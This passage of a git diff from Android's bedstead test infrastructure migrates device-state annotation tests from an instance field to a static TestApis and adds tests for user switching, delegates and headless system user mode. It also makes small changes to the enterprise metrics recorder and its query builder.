     public void ensureHasNoWorkProfileAnnotation_workProfileDoesNotExist() {
-        assertThat(sTestApis.users().findProfileOfType(
-                sTestApis.users().supportedType(MANAGED_PROFILE_TYPE_NAME),
-                sTestApis.users().instrumented())
+        assertThat(TestApis.users().findProfileOfType(
+                TestApis.users().supportedType(MANAGED_PROFILE_TYPE_NAME),
+                TestApis.users().instrumented())
         ).isNull();
     }
 
@@ -156,7 +176,7 @@
     @Test
     @RequireRunOnTvProfile
     public void tvProfile_runningOnTvProfile_returnsCurrentProfile() {
-        assertThat(sDeviceState.tvProfile()).isEqualTo(sTestApis.users().instrumented());
+        assertThat(sDeviceState.tvProfile()).isEqualTo(TestApis.users().instrumented());
     }
 
     @Test
@@ -169,9 +189,9 @@
     @RequireUserSupported(TV_PROFILE_TYPE_NAME)
     @EnsureHasNoTvProfile
     public void tvProfile_createdTvProfile_throwsException() {
-        try (UserReference tvProfile = sTestApis.users().createUser()
-                .parent(sTestApis.users().instrumented())
-                .type(sTestApis.users().supportedType(TV_PROFILE_TYPE_NAME))
+        try (UserReference tvProfile = TestApis.users().createUser()
+                .parent(TestApis.users().instrumented())
+                .type(TestApis.users().supportedType(TV_PROFILE_TYPE_NAME))
                 .create()) {
             assertThrows(IllegalStateException.class, sDeviceState::tvProfile);
         }
@@ -180,9 +200,9 @@
     @Test
     @EnsureHasTvProfile
     public void ensureHasTvProfileAnnotation_tvProfileExists() {
-        assertThat(sTestApis.users().findProfileOfType(
-                sTestApis.users().supportedType(TV_PROFILE_TYPE_NAME),
-                sTestApis.users().instrumented())
+        assertThat(TestApis.users().findProfileOfType(
+                TestApis.users().supportedType(TV_PROFILE_TYPE_NAME),
+                TestApis.users().instrumented())
         ).isNotNull();
     }
 
@@ -193,9 +213,9 @@
     @RequireUserSupported(TV_PROFILE_TYPE_NAME)
     @EnsureHasNoTvProfile
     public void ensureHasNoTvProfileAnnotation_tvProfileDoesNotExist() {
-        assertThat(sTestApis.users().findProfileOfType(
-                sTestApis.users().supportedType(TV_PROFILE_TYPE_NAME),
-                sTestApis.users().instrumented())
+        assertThat(TestApis.users().findProfileOfType(
+                TestApis.users().supportedType(TV_PROFILE_TYPE_NAME),
+                TestApis.users().instrumented())
         ).isNull();
     }
 
@@ -214,7 +234,7 @@
     @Test
     @RequireRunOnSecondaryUser
     public void secondaryUser_runningOnSecondaryUser_returnsCurrentUser() {
-        assertThat(sDeviceState.secondaryUser()).isEqualTo(sTestApis.users().instrumented());
+        assertThat(sDeviceState.secondaryUser()).isEqualTo(TestApis.users().instrumented());
     }
 
     @Test
@@ -226,8 +246,8 @@
     @Test
     @EnsureHasNoSecondaryUser
     public void secondaryUser_createdSecondaryUser_throwsException() {
-        try (UserReference secondaryUser = sTestApis.users().createUser()
-                .type(sTestApis.users().supportedType(SECONDARY_USER_TYPE_NAME))
+        try (UserReference secondaryUser = TestApis.users().createUser()
+                .type(TestApis.users().supportedType(SECONDARY_USER_TYPE_NAME))
                 .create()) {
             assertThrows(IllegalStateException.class, sDeviceState::secondaryUser);
         }
@@ -236,8 +256,8 @@
     @Test
     @EnsureHasSecondaryUser
     public void ensureHasSecondaryUserAnnotation_secondaryUserExists() {
-        assertThat(sTestApis.users().findUserOfType(
-                sTestApis.users().supportedType(SECONDARY_USER_TYPE_NAME))
+        assertThat(TestApis.users().findUserOfType(
+                TestApis.users().supportedType(SECONDARY_USER_TYPE_NAME))
         ).isNotNull();
     }
 
@@ -247,62 +267,69 @@
     @Test
     @EnsureHasNoSecondaryUser
     public void ensureHasNoSecondaryUserAnnotation_secondaryUserDoesNotExist() {
-        assertThat(sTestApis.users().findUserOfType(
-                sTestApis.users().supportedType(SECONDARY_USER_TYPE_NAME))
+        assertThat(TestApis.users().findUserOfType(
+                TestApis.users().supportedType(SECONDARY_USER_TYPE_NAME))
         ).isNull();
     }
 
     @Test
     @EnsureHasPermission(TEST_PERMISSION_1)
+    @RequireSdkVersion(min = Build.VERSION_CODES.R,
+            reason = "Used permissions not available prior to R")
     public void ensureHasPermission_permissionIsGranted() {
-        assertThat(sTestApis.context().instrumentedContext()
+        assertThat(TestApis.context().instrumentedContext()
                 .checkSelfPermission(TEST_PERMISSION_1)).isEqualTo(PERMISSION_GRANTED);
     }
 
     @Test
     @EnsureHasPermission({TEST_PERMISSION_1, TEST_PERMISSION_2})
     public void ensureHasPermission_multiplePermissions_permissionsAreGranted() {
-        assertThat(sTestApis.context().instrumentedContext()
+        assertThat(TestApis.context().instrumentedContext()
                 .checkSelfPermission(TEST_PERMISSION_1)).isEqualTo(PERMISSION_GRANTED);
-        assertThat(sTestApis.context().instrumentedContext()
+        assertThat(TestApis.context().instrumentedContext()
                 .checkSelfPermission(TEST_PERMISSION_2)).isEqualTo(PERMISSION_GRANTED);
     }
 
     @Test
     @EnsureDoesNotHavePermission(TEST_PERMISSION_1)
+    @AppModeFull // withoutPermission does not work on instant apps
     public void ensureDoesNotHavePermission_permissionIsDenied() {
-        assertThat(sTestApis.context().instrumentedContext()
+        assertThat(TestApis.context().instrumentedContext()
                 .checkSelfPermission(TEST_PERMISSION_1)).isEqualTo(PERMISSION_DENIED);
     }
 
     @Test
     @EnsureDoesNotHavePermission({TEST_PERMISSION_1, TEST_PERMISSION_2})
+    @AppModeFull // withoutPermission does not work on instant apps
     public void ensureDoesNotHavePermission_multiplePermissions_permissionsAreDenied() {
-        assertThat(sTestApis.context().instrumentedContext()
+        assertThat(TestApis.context().instrumentedContext()
                 .checkSelfPermission(TEST_PERMISSION_1)).isEqualTo(PERMISSION_DENIED);
-        assertThat(sTestApis.context().instrumentedContext()
+        assertThat(TestApis.context().instrumentedContext()
                 .checkSelfPermission(TEST_PERMISSION_2)).isEqualTo(PERMISSION_DENIED);
     }
 
     @Test
     @EnsureHasPermission(TEST_PERMISSION_1)
     @EnsureDoesNotHavePermission(TEST_PERMISSION_2)
+    @RequireSdkVersion(min = Build.VERSION_CODES.R,
+            reason = "Used permissions not available prior to R")
+    @AppModeFull // withoutPermission does not work on instant apps
     public void ensureHasPermissionAndDoesNotHavePermission_permissionsAreCorrect() {
-        assertThat(sTestApis.context().instrumentedContext()
+        assertThat(TestApis.context().instrumentedContext()
                 .checkSelfPermission(TEST_PERMISSION_1)).isEqualTo(PERMISSION_GRANTED);
-        assertThat(sTestApis.context().instrumentedContext()
+        assertThat(TestApis.context().instrumentedContext()
                 .checkSelfPermission(TEST_PERMISSION_2)).isEqualTo(PERMISSION_DENIED);
     }
 
     @EnsureHasDeviceOwner
     public void ensureHasDeviceOwnerAnnotation_deviceOwnerIsSet() {
-        assertThat(sTestApis.devicePolicy().getDeviceOwner()).isNotNull();
+        assertThat(TestApis.devicePolicy().getDeviceOwner()).isNotNull();
     }
 
     @Test
     @EnsureHasNoDeviceOwner
     public void ensureHasNoDeviceOwnerAnnotation_deviceOwnerIsNotSet() {
-        assertThat(sTestApis.devicePolicy().getDeviceOwner()).isNull();
+        assertThat(TestApis.devicePolicy().getDeviceOwner()).isNull();
     }
 
     @Test
@@ -320,28 +347,28 @@
     @Test
     @EnsureHasProfileOwner
     public void ensureHasProfileOwnerAnnotation_defaultUser_profileOwnerIsSet() {
-        assertThat(sTestApis.devicePolicy().getProfileOwner(sTestApis.users().instrumented()))
+        assertThat(TestApis.devicePolicy().getProfileOwner(TestApis.users().instrumented()))
                 .isNotNull();
     }
 
     @Test
     @EnsureHasNoProfileOwner
     public void ensureHasNoProfileOwnerAnnotation_defaultUser_profileOwnerIsNotSet() {
-        assertThat(sTestApis.devicePolicy().getProfileOwner(sTestApis.users().instrumented()))
+        assertThat(TestApis.devicePolicy().getProfileOwner(TestApis.users().instrumented()))
                 .isNull();
     }
 
     @EnsureHasSecondaryUser
     @EnsureHasProfileOwner(onUser = DeviceState.UserType.SECONDARY_USER)
     public void ensureHasProfileOwnerAnnotation_otherUser_setsProfileOwner() {
-        assertThat(sTestApis.devicePolicy().getProfileOwner(sDeviceState.secondaryUser()))
+        assertThat(TestApis.devicePolicy().getProfileOwner(sDeviceState.secondaryUser()))
                 .isNotNull();
     }
 
     @EnsureHasSecondaryUser
     @EnsureHasNoProfileOwner(onUser = DeviceState.UserType.SECONDARY_USER)
     public void ensureHasNoProfileOwnerAnnotation_otherUser_profileOwnerIsNotSet() {
-        assertThat(sTestApis.devicePolicy().getProfileOwner(sDeviceState.secondaryUser())).isNull();
+        assertThat(TestApis.devicePolicy().getProfileOwner(sDeviceState.secondaryUser())).isNull();
     }
 
     @Test
@@ -353,7 +380,7 @@
     @Test
     @EnsureHasProfileOwner
     public void profileOwner_defaultUser_profileOwnerIsSet_returnsProfileOwner() {
-        assertThat(sTestApis.devicePolicy().getProfileOwner(sTestApis.users().instrumented()))
+        assertThat(TestApis.devicePolicy().getProfileOwner(TestApis.users().instrumented()))
                 .isNotNull();
     }
 
@@ -385,15 +412,14 @@
     @RequireRunOnWorkProfile
     public void requireRunOnWorkProfileAnnotation_isRunningOnWorkProfile() {
         assertThat(
-                sTestApis.users().instrumented().resolve().type().name())
-                .isEqualTo(MANAGED_PROFILE_TYPE_NAME);
+                TestApis.users().instrumented().type().name()).isEqualTo(MANAGED_PROFILE_TYPE_NAME);
     }
 
     @Test
     @RequireRunOnWorkProfile
     public void requireRunOnWorkProfileAnnotation_workProfileHasProfileOwner() {
         assertThat(
-                sTestApis.devicePolicy().getProfileOwner(sTestApis.users().instrumented())
+                TestApis.devicePolicy().getProfileOwner(TestApis.users().instrumented())
         ).isNotNull();
     }
 
@@ -401,42 +427,41 @@
     @RequireRunOnSecondaryUser
     public void requireRunOnSecondaryUserAnnotation_isRunningOnSecondaryUser() {
         assertThat(
-                sTestApis.users().instrumented().resolve().type().name())
-                .isEqualTo(SECONDARY_USER_TYPE_NAME);
+                TestApis.users().instrumented().type().name()).isEqualTo(SECONDARY_USER_TYPE_NAME);
     }
 
     @Test
     @IncludeRunOnDeviceOwnerUser
     public void includeRunOnDeviceOwnerUserAnnotation_isRunningOnDeviceOwnerUser() {
-        assertThat(sTestApis.devicePolicy().getDeviceOwner().user())
-                .isEqualTo(sTestApis.users().instrumented());
+        assertThat(TestApis.devicePolicy().getDeviceOwner().user())
+                .isEqualTo(TestApis.users().instrumented());
     }
 
     @Test
     @IncludeRunOnNonAffiliatedDeviceOwnerSecondaryUser
     public void includeRunOnNonAffiliatedDeviceOwnerSecondaryUserAnnotation_isRunningOnNonAffiliatedDeviceOwnerSecondaryUser() {
-        assertThat(sTestApis.devicePolicy().getDeviceOwner().user())
-                .isNotEqualTo(sTestApis.users().instrumented());
-        assertThat(sTestApis.users().instrumented().resolve().type().name())
+        assertThat(TestApis.devicePolicy().getDeviceOwner().user())
+                .isNotEqualTo(TestApis.users().instrumented());
+        assertThat(TestApis.users().instrumented().type().name())
                 .isEqualTo(SECONDARY_USER_TYPE_NAME);
     }
 
     @Test
-    @IncludeRunOnProfileOwnerProfile
+    @IncludeRunOnProfileOwnerProfileWithNoDeviceOwner
     public void includeRunOnProfileOwnerAnnotation_hasProfileOwner() {
         assertThat(
-                sTestApis.devicePolicy().getProfileOwner(sTestApis.users().instrumented())
+                TestApis.devicePolicy().getProfileOwner(TestApis.users().instrumented())
         ).isNotNull();
     }
 
     @Test
-    @IncludeRunOnSecondaryUserInDifferentProfileGroupToProfileOwner
+    @IncludeRunOnSecondaryUserInDifferentProfileGroupToProfileOwnerProfile
     public void includeRunOnSecondaryUserInDifferentProfileGroupToProfileOwnerAnnotation_isRunningOnSecondaryUserInDifferentProfileGroupToProfileOwner() {
-        assertThat(sTestApis.users().instrumented().resolve().type().name())
+        assertThat(TestApis.users().instrumented().type().name())
                 .isEqualTo(SECONDARY_USER_TYPE_NAME);
         assertThat(sDeviceState.workProfile(PRIMARY_USER))
-                .isNotEqualTo(sTestApis.users().instrumented());
-        assertThat(sTestApis.devicePolicy().getProfileOwner(sDeviceState.workProfile(PRIMARY_USER)))
+                .isNotEqualTo(TestApis.users().instrumented());
+        assertThat(TestApis.devicePolicy().getProfileOwner(sDeviceState.workProfile(PRIMARY_USER)))
                 .isNotNull();
 
         // TODO(scottjonathan): Assert profile groups are different
@@ -444,88 +469,81 @@
 
     @RequirePackageInstalled(value = GMS_CORE_PACKAGE, onUser = ANY)
     public void requirePackageInstalledAnnotation_anyUser_packageIsInstalled() {
-        assertThat(sTestApis.packages().find(GMS_CORE_PACKAGE).resolve()).isNotNull();
+        assertThat(TestApis.packages().find(GMS_CORE_PACKAGE).installedOnUsers()).isNotEmpty();
     }
 
     @Test
     @RequirePackageInstalled(GMS_CORE_PACKAGE)
     public void requirePackageInstalledAnnotation_currentUser_packageIsInstalled() {
-        assertThat(sTestApis.packages().find(GMS_CORE_PACKAGE).resolve().installedOnUsers())
-                .contains(sTestApis.users().instrumented());
+        assertThat(TestApis.packages().find(GMS_CORE_PACKAGE).installedOnUser())
+                .isTrue();
     }
 
     @Test
     @RequirePackageNotInstalled(value = GMS_CORE_PACKAGE, onUser = ANY)
     public void requirePackageNotInstalledAnnotation_anyUser_packageIsNotInstalled() {
-        assertThat(sTestApis.packages().find(GMS_CORE_PACKAGE).resolve()).isNull();
-
+        assertThat(TestApis.packages().find(GMS_CORE_PACKAGE).installedOnUsers()).isEmpty();
     }
 
     @Test
     @RequirePackageNotInstalled(GMS_CORE_PACKAGE)
     public void requirePackageNotInstalledAnnotation_currentUser_packageIsNotInstalled() {
-        Package resolvedPackage = sTestApis.packages().find(GMS_CORE_PACKAGE).resolve();
+        Package pkg = TestApis.packages().find(GMS_CORE_PACKAGE);
 
-        if (resolvedPackage != null) {
-            assertThat(resolvedPackage.installedOnUsers())
-                    .doesNotContain(sTestApis.users().instrumented());
-        }
+        assertThat(pkg.installedOnUser()).isFalse();
     }
 
     @Test
     @EnsurePackageNotInstalled(value = GMS_CORE_PACKAGE, onUser = ANY)
     @Ignore // TODO(scottjonathan): Restore this with a package which can be uninstalled
     public void ensurePackageNotInstalledAnnotation_anyUser_packageIsNotInstalled() {
-        assertThat(sTestApis.packages().find(GMS_CORE_PACKAGE).resolve()).isNull();
+        assertThat(TestApis.packages().find(GMS_CORE_PACKAGE).installedOnUsers()).isEmpty();
     }
 
     @Test
     @EnsurePackageNotInstalled(GMS_CORE_PACKAGE)
     @Ignore // TODO(scottjonathan): Restore this with a package which can be uninstalled
     public void ensurePackageNotInstalledAnnotation_currentUser_packageIsNotInstalled() {
-        Package resolvedPackage = sTestApis.packages().find(GMS_CORE_PACKAGE).resolve();
+        Package pkg = TestApis.packages().find(GMS_CORE_PACKAGE);
 
-        if (resolvedPackage != null) {
-            assertThat(resolvedPackage.installedOnUsers())
-                    .doesNotContain(sTestApis.users().instrumented());
-        }
+        assertThat(pkg.installedOnUser()).isFalse();
     }
 
     @Test
     @RequireAospBuild
     public void requireAospBuildAnnotation_isRunningOnAospBuild() {
-        assertThat(sTestApis.packages().find(GMS_CORE_PACKAGE).resolve()).isNull();
+        assertThat(TestApis.packages().find(GMS_CORE_PACKAGE).exists()).isFalse();
     }
 
     @Test
     @RequireGmsBuild
     public void requireGmsBuildAnnotation_isRunningOnGmsbuild() {
-        assertThat(sTestApis.packages().find(GMS_CORE_PACKAGE).resolve()).isNotNull();
+        assertThat(TestApis.packages().find(GMS_CORE_PACKAGE).exists()).isTrue();
     }
 
     @Test
     @RequireCnGmsBuild
     public void requireCnGmsBuildAnnotation_isRunningOnCnGmsBuild() {
-        assertThat(sTestApis.packages().features()).contains(CHINA_GOOGLE_SERVICES_FEATURE);
+        assertThat(TestApis.packages().features()).contains(CHINA_GOOGLE_SERVICES_FEATURE);
     }
 
     @Test
     @RequireNotCnGmsBuild
     public void requireNotCnGmsBuildAnnotation_isNotRunningOnCnGmsBuild() {
-        assertThat(sTestApis.packages().features()).doesNotContain(CHINA_GOOGLE_SERVICES_FEATURE);
+        assertThat(TestApis.packages().features()).doesNotContain(CHINA_GOOGLE_SERVICES_FEATURE);
 
     }
 
     @Test
     @RequireFeature(CHINA_GOOGLE_SERVICES_FEATURE)
     public void requireHasFeatureAnnotation_doesNotHaveFeature() {
-        assertThat(sTestApis.packages().features()).contains(CHINA_GOOGLE_SERVICES_FEATURE);
+        assertThat(TestApis.packages().features()).contains(CHINA_GOOGLE_SERVICES_FEATURE);
     }
 
     @Test
     @RequireDoesNotHaveFeature(CHINA_GOOGLE_SERVICES_FEATURE)
     public void requireDoesNotHaveFeatureAnnotation_doesNotHaveFeature() {
-        assertThat(sTestApis.packages().features()).doesNotContain(CHINA_GOOGLE_SERVICES_FEATURE);
+        assertThat(TestApis.packages().features()).doesNotContain(CHINA_GOOGLE_SERVICES_FEATURE);
     }
 
     @Test
@@ -550,20 +568,211 @@
     @Test
     @RequireRunOnPrimaryUser
     public void requireRunOnPrimaryUserAnnotation_isRunningOnPrimaryUser() {
-        assertThat(sTestApis.users().instrumented().resolve().type().name())
+        assertThat(TestApis.users().instrumented().type().name())
                 .isEqualTo(SYSTEM_USER_TYPE_NAME);
     }
 
     @Test
     @RequireRunOnTvProfile
     public void requireRunOnTvProfileAnnotation_isRunningOnTvProfile() {
-        assertThat(sTestApis.users().instrumented().resolve().type().name())
+        assertThat(TestApis.users().instrumented().type().name())
                 .isEqualTo(TV_PROFILE_TYPE_NAME);
     }
 
     @Test
-    @IncludeRunOnParentOfProfileOwner
+    @IncludeRunOnParentOfProfileOwnerWithNoDeviceOwner
     public void includeRunOnParentOfProfileOwnerAnnotation_isRunningOnParentOfProfileOwner() {
         assertThat(sDeviceState.workProfile()).isNotNull();
     }
+
+    @Test
+    @RequireRunOnPrimaryUser
+    public void requireRunOnUser_isCurrentUser() {
+        assertThat(TestApis.users().current()).isEqualTo(sDeviceState.primaryUser());
+    }
+
+    @Test
+    @RequireRunOnPrimaryUser(switchedToUser = FALSE)
+    public void requireRunOnUser_specifyNotSwitchedToUser_isNotCurrentUser() {
+        assertThat(TestApis.users().current()).isNotEqualTo(sDeviceState.primaryUser());
+    }
+
+    @Test
+    @RequireRunNotOnSecondaryUser
+    public void requireRunNotOnSecondaryUser_currentUserIsNotSecondary() {
+        assertThat(TestApis.users().current().type().name()).isNotEqualTo(SECONDARY_USER_TYPE_NAME);
+    }
+
+    @Test
+    @RequireRunNotOnSecondaryUser
+    public void requireRunNotOnSecondaryUser_instrumentedUserIsNotSecondary() {
+        assertThat(TestApis.users().instrumented().type().name())
+                .isNotEqualTo(SECONDARY_USER_TYPE_NAME);
+    }
+
+    @Test
+    @EnsureHasSecondaryUser(switchedToUser = FALSE) // We don't test the default as it's ANY
+    public void ensureHasUser_specifyIsNotSwitchedToUser_isNotCurrentUser() {
+        assertThat(TestApis.users().current()).isNotEqualTo(sDeviceState.secondaryUser());
+    }
+
+    @Test
+    @EnsureHasSecondaryUser(switchedToUser = TRUE)
+    public void ensureHasUser_specifySwitchedToUser_isCurrentUser() {
+        assertThat(TestApis.users().current()).isEqualTo(sDeviceState.secondaryUser());
+    }
+
+    @Test
+    @RequireRunOnWorkProfile
+    public void requireRunOnProfile_parentIsCurrentUser() {
+        assertThat(TestApis.users().current()).isEqualTo(sDeviceState.workProfile().parent());
+    }
+
+    @Test
+    @RequireRunOnWorkProfile(switchedToParentUser = FALSE)
+    public void requireRunOnProfile_specifyNotSwitchedToParentUser_parentIsNotCurrentUser() {
+        assertThat(TestApis.users().current()).isNotEqualTo(sDeviceState.workProfile().parent());
+    }
+
+    @Test
+    @EnsureHasWorkProfile(switchedToParentUser = FALSE) // We don't test the default as it's ANY
+    public void ensureHasWorkProfile_specifyNotSwitchedToParentUser_parentIsNotCurrentUser() {
+        assertThat(TestApis.users().current()).isNotEqualTo(sDeviceState.workProfile().parent());
+    }
+
+    @Test
+    @EnsureHasWorkProfile(switchedToParentUser = TRUE)
+    public void ensureHasWorkProfile_specifySwitchedToParentUser_parentIsCurrentUser() {
+        assertThat(TestApis.users().current()).isEqualTo(sDeviceState.workProfile().parent());
+    }
+
+    @Test
+    @IncludeRunOnBackgroundDeviceOwnerUser
+    public void includeRunOnBackgroundDeviceOwnerUserAnnotation_isRunningOnDeviceOwnerUser() {
+        assertThat(TestApis.users().instrumented())
+                .isEqualTo(sDeviceState.dpc().user());
+    }
+
+    @Test
+    @IncludeRunOnBackgroundDeviceOwnerUser
+    public void includeRunOnBackgroundDeviceOwnerUserAnnotation_isNotCurrentUser() {
+        assertThat(TestApis.users().current())
+                .isNotEqualTo(TestApis.users().instrumented());
+    }
+
+    @Test
+    @EnsureHasNoProfileOwner
+    public void ensureHasNoProfileOwnerAnnotation_currentUserHasNoProfileOwner() {
+        assertThat(TestApis.devicePolicy()
+                .getProfileOwner(TestApis.users().instrumented()))
+                .isNull();
+    }
+
+    @Test
+    @EnsureHasNoDeviceOwner
+    public void ensureHasNoDeviceOwnerAnnotation_noDeviceOwner() {
+        assertThat(TestApis.devicePolicy().getDeviceOwner()).isNull();
+    }
+
+    @Test
+    @EnsureHasNoDpc
+    public void ensureHasNoDpcAnnotation_currentUserHasNoProfileOwner() {
+        assertThat(TestApis.devicePolicy()
+                .getProfileOwner(TestApis.users().instrumented()))
+                .isNull();
+    }
+
+    @Test
+    @EnsureHasNoDpc
+    public void ensureHasNoDpcAnnotation_noDeviceOwner() {
+        assertThat(TestApis.devicePolicy().getDeviceOwner()).isNull();
+    }
+
+    @Test
+    @EnsureHasNoDpc
+    public void ensureHasNoDpcAnnotation_workProfileDoesNotExist() {
+        assertThat(TestApis.users().findProfileOfType(
+                TestApis.users().supportedType(MANAGED_PROFILE_TYPE_NAME),
+                TestApis.users().instrumented())
+        ).isNull();
+    }
+
+    @Test
+    @RequireNotHeadlessSystemUserMode
+    public void requireNotHeadlessSystemUserModeAnnotation_notHeadlessSystemUserMode() {
+        assertThat(TestApis.users().isHeadlessSystemUserMode()).isFalse();
+    }
+
+    @Test
+    @RequireHeadlessSystemUserMode
+    public void requireHeadlessSystemUserModeAnnotation_isHeadlessSystemUserMode() {
+        assertThat(TestApis.users().isHeadlessSystemUserMode()).isTrue();
+    }
+
+    @Test
+    @RequireLowRamDevice(reason = "Test")
+    public void requireLowRamDeviceAnnotation_isLowRamDevice() {
+        assertThat(TestApis.context().instrumentedContext().getSystemService(ActivityManager.class)
+                .isLowRamDevice()).isTrue();
+    }
+
+    @Test
+    @RequireNotLowRamDevice(reason = "Test")
+    public void requireNotLowRamDeviceAnnotation_isNotLowRamDevice() {
+        assertThat(TestApis.context().instrumentedContext().getSystemService(ActivityManager.class)
+                .isLowRamDevice()).isFalse();
+    }
+
+    @Test
+    @TestTag("TestTag")
+    public void testTagAnnoation_testTagIsSet() {
+        assertThat(Tags.hasTag("TestTag")).isTrue();
+    }
+
+    @Test
+    @EnsureHasDeviceOwner
+    @EnsureHasDelegate(admin = DEVICE_OWNER, scopes = DELEGATION_CERT_INSTALL, isPrimary = true)
+    public void ensureHasPrimaryDelegateAnnotation_dpcReturnsDelegate() {
+        assertThat(sDeviceState.dpc()).isInstanceOf(RemoteDelegate.class);
+    }
+
+    @Test
+    @EnsureHasDeviceOwner
+    @EnsureHasDelegate(admin = DEVICE_OWNER, scopes = DELEGATION_CERT_INSTALL, isPrimary = false)
+    public void ensureHasNonPrimaryDelegateAnnotation_dpcReturnsDpc() {
+        assertThat(sDeviceState.dpc()).isInstanceOf(RemoteDpc.class);
+    }
+
+    @Test
+    @EnsureHasDeviceOwner
+    @EnsureHasDelegate(admin = DEVICE_OWNER, scopes = DELEGATION_CERT_INSTALL, isPrimary = true)
+    public void ensureHasDelegateAnnotation_dpcCanUseDelegatedFunctionality() {
+        assertThat(sDeviceState.dpc().devicePolicyManager().getEnrollmentSpecificId()).isNotNull();
+    }
+
+    @Test
+    @EnsureHasDeviceOwner
+    @EnsureHasDelegate(admin = DEVICE_OWNER,
+            scopes = {DELEGATION_CERT_INSTALL, DELEGATION_APP_RESTRICTIONS}, isPrimary = true)
+    public void ensureHasDelegateAnnotation_multipleScopes_dpcCanUseAllDelegatedFunctionality() {
+        assertThat(sDeviceState.dpc().devicePolicyManager().getEnrollmentSpecificId()).isNotNull();
+        sDeviceState.dpc().devicePolicyManager()
+                .setApplicationRestrictions(
+                        sDeviceState.dpc().componentName(),
+                        sDeviceState.dpc().packageName(), new Bundle());
+    }
+
+    @Test
+    @EnsureHasDeviceOwner(isPrimary = true)
+    @EnsureHasDelegate(admin = PRIMARY, scopes = {})
+    public void ensureHasDelegateAnnotation_primaryAdminWithoutReplace_dpcReturnsDpc() {
+        assertThat(sDeviceState.dpc()).isInstanceOf(RemoteDpc.class);
+    }
+
+    @Test
+    @EnsureHasDeviceOwner(isPrimary = true)
+    @EnsureHasDelegate(admin = PRIMARY, scopes = {}, isPrimary = true)
+    public void ensureHasDelegateAnnotation_primaryAdminAndReplace_dpcReturnsDelegate() {
+        assertThat(sDeviceState.dpc()).isInstanceOf(RemoteDelegate.class);
+    }
 }
diff --git a/common/device-side/bedstead/metricsrecorder/src/main/java/com/android/bedstead/metricsrecorder/EnterpriseMetricInfo.java b/common/device-side/bedstead/metricsrecorder/src/main/java/com/android/bedstead/metricsrecorder/EnterpriseMetricInfo.java
index 2f59f88..5584ed4 100644
--- a/common/device-side/bedstead/metricsrecorder/src/main/java/com/android/bedstead/metricsrecorder/EnterpriseMetricInfo.java
+++ b/common/device-side/bedstead/metricsrecorder/src/main/java/com/android/bedstead/metricsrecorder/EnterpriseMetricInfo.java
@@ -24,11 +24,13 @@
 
 public final class EnterpriseMetricInfo {
     private final String mAdminPackageName;
+    private final int mType;
     private final boolean mBoolean;
     private final List<String> mStrings;
 
     EnterpriseMetricInfo(AtomsProto.DevicePolicyEvent event) {
         mAdminPackageName = event.adminPackageName;
+        mType = event.eventId;
         mBoolean = event.booleanValue;
         mStrings = (event.stringListValue == null) ? new ArrayList<>() : Arrays.asList(
                 event.stringListValue.stringValue);
@@ -38,6 +40,10 @@
         return mAdminPackageName;
     }
 
+    public int type() {
+        return mType;
+    }
+
     public boolean Boolean() {
         return mBoolean;
     }
@@ -50,6 +56,7 @@
     public String toString() {
         return "EnterpriseMetricInfo{"
                 + "adminPackageName=" + mAdminPackageName
+                + ", type=" + mType
                 + ", boolean=" + mBoolean
                 + ", strings=" + mStrings
                 + "}";
diff --git a/common/device-side/bedstead/metricsrecorder/src/main/java/com/android/bedstead/metricsrecorder/EnterpriseMetricsRecorder.java b/common/device-side/bedstead/metricsrecorder/src/main/java/com/android/bedstead/metricsrecorder/EnterpriseMetricsRecorder.java
index 671e12b..71837e5 100644
--- a/common/device-side/bedstead/metricsrecorder/src/main/java/com/android/bedstead/metricsrecorder/EnterpriseMetricsRecorder.java
+++ b/common/device-side/bedstead/metricsrecorder/src/main/java/com/android/bedstead/metricsrecorder/EnterpriseMetricsRecorder.java
@@ -32,7 +32,6 @@
 import com.android.os.nano.AtomsProto;
 import com.android.os.nano.StatsLog;
 import com.android.os.nano.StatsLog.ConfigMetricsReportList;
-import com.android.queryable.Queryable;
 
 import java.util.ArrayList;
 import java.util.Arrays;
@@ -54,7 +53,7 @@
  *
  * }</pre>
  */
-public class EnterpriseMetricsRecorder implements AutoCloseable, Queryable {
+public class EnterpriseMetricsRecorder implements AutoCloseable {
 
     /** Create a {@link EnterpriseMetricsRecorder} and begin listening for metrics. */
     public static EnterpriseMetricsRecorder create() {
diff --git a/common/device-side/bedstead/metricsrecorder/src/main/java/com/android/bedstead/metricsrecorder/MetricQueryBuilder.java b/common/device-side/bedstead/metricsrecorder/src/main/java/com/android/bedstead/metricsrecorder/MetricQueryBuilder.java
index 0e932b4..215a513 100644
--- a/common/device-side/bedstead/metricsrecorder/src/main/java/com/android/bedstead/metricsrecorder/MetricQueryBuilder.java
+++ b/common/device-side/bedstead/metricsrecorder/src/main/java/com/android/bedstead/metricsrecorder/MetricQueryBuilder.java
@@ -84,7 +84,10 @@
         hasStartedFetchingResults = true;
         for (EnterpriseMetricInfo m : mRecorder.fetchLatestData()) {
             if (matches(m)) {
-                return m;
+                skipResults -= 1;
+                if (skipResults < 0) {
+                    return m;
+                }
             }
         }
 
@@ -129,7 +132,22 @@
 
     private boolean matches(EnterpriseMetricInfo metric) {
         return mAdminPackageNameQuery.matches(metric.adminPackageName())
+                && mTypeQuery.matches(metric.type())
                 && mBooleanQuery.matches(metric.Boolean())
                 && mStringsQuery.matches(metric.strings());
     }
+
+    @Override
+    public String describeQuery(String fieldName) {
+        return "{" + Queryable.joinQueryStrings(
+                mAdminPackageNameQuery.describeQuery("adminPackageName"),
+                        mBooleanQuery.describeQuery("boolean"),
+                        mStringsQuery.describeQuery("strings")
+        ) + "}";
+    }
+
+    @Override
+    public String toString() {
+        return describeQuery("");
+    }
 }
diff --git a/common/device-side/bedstead/metricsrecorder/src/main/java/com/android/bedstead/metricsrecorder/truth/MetricQueryBuilderSubject.java b/common/device-side/bedstead/metricsrecorder/src/main/java/com/android/bedstead/metricsrecorder/truth/MetricQueryBuilderSubject.java
new file mode 100644
index 0000000..ac5767d
--- /dev/null
+++ b/common/device-side/bedstead/metricsrecorder/src/main/java/com/android/bedstead/metricsrecorder/truth/MetricQueryBuilderSubject.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.metricsrecorder.truth;
+
+import static com.google.common.truth.Truth.assertAbout;
+
+import androidx.annotation.Nullable;
+
